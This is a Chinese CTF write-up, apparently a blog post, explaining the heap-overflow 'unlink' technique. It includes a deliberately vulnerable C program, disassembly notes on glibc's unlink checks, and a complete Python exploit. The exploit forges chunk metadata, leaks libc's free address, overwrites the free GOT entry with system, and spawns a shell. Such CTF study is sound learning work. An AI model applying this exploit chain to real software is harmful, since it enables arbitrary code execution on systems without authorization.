1. 程式人生 > >CTF之堆溢位-unlink原理探究

CTF之堆溢位-unlink原理探究

來幹!來幹!
轉戰堆溢位,這東東確實接觸的很少,聽說很神奇很細膩。我也是初次接觸就和大家一起共同學習下,也填補下這方面的空白。

這篇文章講的就是堆溢位的原理,不過全是英文,估計。。。慢慢看,不急。我就結合著它給的示例程式來分析下原理,以及如何利用堆溢位。如有不妥之處,還望及時批評指正!

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/
first = malloc( 666 ); /*[2]*/ second = malloc( 12 ); if(argc!=1) /*[3]*/ strcpy( first, argv[1] ); /*[4]*/ free( first ); /*[5]*/ free( second ); /*[6]*/ return( 0 ); }

這就是存在堆溢位的程式了,很明顯好不啦。

堆確實很難。整了好久沒整出來。多虧了在師傅的幫助下,終於把unlink給整明白了。(為了記錄下學習的過程,前面的內容我就不刪了)

先來推薦幾篇文章,主要是看一下原理,雖然我知道即使看懂了,但是利用它時還是一臉懵比。

這是一道很經典的unlink,希望從此叩開堆溢位的大門(需要程式的在下方留個言)
由於除錯堆的題目需要注意很多細節,而這些細節對於一個有棧經驗的選手來說應該不難懂,所以我就不會說的太明白。我主要是分析一下unlink那塊程式碼。
按著我的習慣,先檢查一下。
這裡寫圖片描述
和堆有關的保護我也不清楚 ,我就不班門弄斧了。
試執行一下程式。這種結構很明顯是個堆題。
這裡寫圖片描述
IDA反彙編。
這裡寫圖片描述
這裡和大家說一個IDA使用的小技巧,遇到堆題先逆向,將一些函式按他的功能rename一下,這樣調理會清楚點,而且我們要知道每個選項具體都做了什麼,堆題的利用往往會涉及到很多知識點。改完之後另存為i64檔案,這樣下次再除錯的時候,就會方便很多。上面是我已經rename之後的了。
我們知道要想unlink就必須讓堆進行合併,那麼我們就需要精心的構造堆塊,說這道題經典因為這題沒有在溢位這些方面做手腳,基本上堆塊我們可以隨意的構造溢位。
首先new三次。我們可以看看linux是如何管理堆的。
這裡寫圖片描述


這是第一次malloc的結果。
再來看看第二次malloc,我們同樣是malloc0xa0位元組
這裡寫圖片描述
這裡寫圖片描述
瞭解完malloc之後,再來了解一下free。我在這裡edit第一個塊使其溢位,再釋放第二個塊。
可以看到修改後的第二塊如下。
這裡寫圖片描述
我們需要進到free函式裡面看看,找到unlink部分。
這裡寫圖片描述
就是這段程式碼,關鍵的unlink操作。首先他會進行一些判斷,看是否需要進行unlink,這就是為什麼我們需要對堆進行構造了。
test byte ptr [rbx+8], 1 用於判斷flag是否為1。
其中幾個關鍵的cmp是構造時需要 注意的。

mov     [rax+18h], rdx
mov     [rdx+10h], rax

還有這兩句關鍵的mov是任意地址寫的關鍵。這一段程式碼一定要自己好好地除錯一下,對照著原理。這裡我就不寫了。
當我們將堆指標覆蓋之後(這裡直接這麼恐怕有的人會很糊塗,不過我真的很難去解釋,先把疑問留著,等會就知道幹什麼了)
這裡寫圖片描述
再執行edit。
這裡寫圖片描述
這時候my_read就會往我所修改的位置寫入
這裡寫圖片描述
我就是要往堆指標進行寫入,這樣我就可以控制每個堆塊的flag,size以及對應的堆指標了。
在呼叫一次list,將free的libc地址洩露,求偏移算得system_addr.。在接下來就是edit,將system_addr寫入到free_got.plt。以便在下次呼叫free時執行。
最後不知道怎麼回事。就是拿不到shell。好像是system的地址錯了,但是我已經洩露了free的地址了,根據偏移應該可以得到system的地址了。希望大神能糾正下我的錯誤。
最後還是貼上exp:

from zio import*
target=('127.0.0.1',10000)
io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))
c2=raw_input('go?')
#new
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline('160')
io.read_until(':')
io.writeline('a'*0xa0)
#new
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline('160')
io.read_until(':')
io.writeline('b'*0xa0)
#new
payload='/bin/sh\x00'+'c'*0x98
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline('160')
io.read_until(':')
io.writeline(payload)
#edit
payload=l64(0x00)+l64(0x00)+l64(0x06016d0)+l64(0x06016d8)+'a'*0x80+l64(0xa0)+l64(0xb0)
#payload='a'*0xa0
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline('1')
io.read_until(':')
io.writeline('176')
io.read_until(':')
io.writeline(payload)
#delete
io.read_until('>')
io.writeline('4')
io.read_until(':')
io.writeline('2')
#edit
free_got = 0x0000000000601600
payload=l64(free_got)+l64(0x1)+l64(0xa0)+l64(free_got)+l64(0x1)
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline('1')
io.read_until(':')
io.writeline('40')
io.read_until(':')
io.writeline(payload)
#list_free_addr
#free_addr = list_sc(io)
io.read_until('>')
io.writeline('1')
io.read_until('SHELLC0DE 0: ')
free_addr=l64(io.read(16).decode('hex'))
print hex(free_addr)
#edit_system
libc_base = free_addr - 0x0000000000082DF0
system_addr = libc_base + 0x0000000000046640
#system_addr=free_addr+0x271D0
print hex(libc_base)
print hex(system_addr)
payload=l64(system_addr)
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline('1')
io.read_until(':')
io.writeline('8')
io.read_until(':')
io.writeline(payload)
#get shell
io.read_until('>')
io.writeline('4')
io.read_until(':')
io.writeline('2')

io.interact()

好吧!一語驚醒夢中人,cfree和free原來不是一個函式,最後求得的libc_base錯了。本地除錯改正後拿到shell。
這裡寫圖片描述